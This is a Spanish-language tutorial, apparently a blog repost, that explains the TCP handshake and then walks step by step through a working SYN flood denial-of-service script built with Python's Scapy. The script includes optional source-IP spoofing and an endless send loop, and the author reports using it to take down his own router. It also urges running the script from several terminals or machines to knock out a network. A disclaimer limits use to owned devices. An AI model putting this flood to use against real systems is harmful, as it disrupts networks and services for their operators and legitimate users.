Cómo hacer un ataque de inundación SYN en Python

Aprenda a usar la biblioteca Scapy en Python para realizar un ataque TCP SYN Flooding, que es una forma de ataques de denegación de servicio.

Un   ataque de inundación SYN es una forma común de  ataque de denegación de servicio  en el que un atacante envía una secuencia de solicitudes SYN al sistema objetivo (puede ser un enrutador, firewall, sistemas de prevención de intrusiones (IPS), etc.) para consumir sus recursos, impidiendo que los clientes legítimos establezcan una conexión normal.

La inundación TCP SYN explota la primera parte del protocolo de enlace de tres vías de TCP, y dado que todas las conexiones que utilizan el protocolo TCP lo requieren, este ataque demuestra ser peligroso y puede derribar varios componentes de la red.

Para comprender la inundación SYN, primero debemos hablar sobre el  protocolo  de enlace de tres vías TCP :

Protocolo de enlace de tres vías TCPCuando un cliente desea establecer una conexión a un servidor a través del protocolo TCP, el cliente y el servidor intercambian una serie de mensajes:

  • El cliente solicita una conexión enviando un mensaje SYN al servidor.
  • El servidor responde con un mensaje SYN-ACK (reconoce la solicitud).
  • Los clientes responden con un ACK y luego se inicia la conexión.

El ataque de inundación SYN involucra a un usuario malintencionado que envía paquetes SYN repetidamente sin responder con ACK, y a menudo con diferentes puertos de origen, lo que hace que el servidor no se dé cuenta del ataque y responde a cada intento con un paquete SYN-ACK de cada puerto (el rojo y parte verde de la imagen de arriba). De esta manera, el servidor no responderá rápidamente a los clientes legítimos.

 

Tutorial relacionado:  Cómo construir un escáner WiFi en Python usando Scapy .

En este tutorial, implementaremos el ataque de inundación SYN usando la   biblioteca Scapy en Python. Para comenzar, necesita instalar Scapy:

pip3 install scapy

Dupdo

Abra un nuevo archivo de Python e importe Scapy:

from scapy.all import *

Dupdo

Voy a probar esto en mi enrutador local, que tiene la dirección IP privada 192.168.1.1:

 

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

Dupdo

Si desea probar esto con su enrutador, asegúrese de tener la dirección IP correcta, puede obtener la dirección de la puerta de enlace predeterminada a través de los   comandos ipconfig y  ip routeen Windows y macOS / Linux respectivamente.

El puerto de destino es HTTP, ya que quiero inundar la interfaz web de mi enrutador. Ahora forjemos nuestro paquete SYN, comenzando con la capa IP:

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Dupdo

Especificamos  dst como la dirección IP de destino, también podemos establecer la  src dirección en una dirección IP aleatoria falsificada en el rango de la red privada (código comentado) y también funcionará.

Forjemos nuestra capa TCP:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

Dupdo

Así que estamos configurando el puerto de origen ( sport) a un corto aleatorio (que va de 1 a 65535, al igual que los puertos) y el  dport (puerto de destino) como nuestro puerto de destino, en este caso, es el servicio HTTP.

 

 

También configuramos las banderas a las  "S" que indica el tipo SYN.

Ahora agreguemos algunos datos brutos de inundación para ocupar la red:

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

Dupdo

Genial, ahora apilemos las capas y enviemos el paquete:

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

Dupdo

Entonces usamos la  send() función que envía paquetes en la capa 3, la configuramos  loop en 1 para seguir enviando hasta que presionamos CTRL + C, la configuración  verbose en 0 no imprimirá nada durante el proceso (silencioso).

 

 

¡El guión está hecho! Ahora, después de ejecutar esto contra mi enrutador, tomó unos segundos y, efectivamente, el enrutador dejó de funcionar y perdí la conexión:

El enrutador dejó de funcionar después de un ataque de inundación SYN exitoso usando ScapyEste es el resultado del siguiente comando en Windows:

$ ping -t "192.168.1.1"

Dupdo

Fue capturado desde otra máquina que no sea el atacante, por lo que el enrutador ya no responde.

Para que todo vuelva a la normalidad, puede detener el ataque (presionando CTRL + C), si el dispositivo aún no responde, continúe y reinícielo.

Tutorial relacionado:  Cómo hacer un escáner de red usando Scapy en Python.

Conclusión

 

 

¡Está bien! Terminamos con el tutorial, si intenta ejecutar el script en una computadora local, notará que la computadora está ocupada y la latencia aumentará significativamente. También puede ejecutar el script en múltiples terminales o incluso en otras máquinas, ¡vea si puede apagar la red de su computadora local!

Descargo de responsabilidad : no use esto en un dispositivo que no sea de su propiedad o para el que no tenga permiso, no asumimos ninguna responsabilidad, este tutorial es solo para fines educativos.

Aprenda también:  Cómo construir un ARP Spoofer en Python usando Scapy .

Feliz piratería ♥

 VER CÓDIGO COMPLETO

 

https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python

Supongo que te gusta

Origin blog.csdn.net/maimang1001/article/details/112604798
Recomendado
Clasificación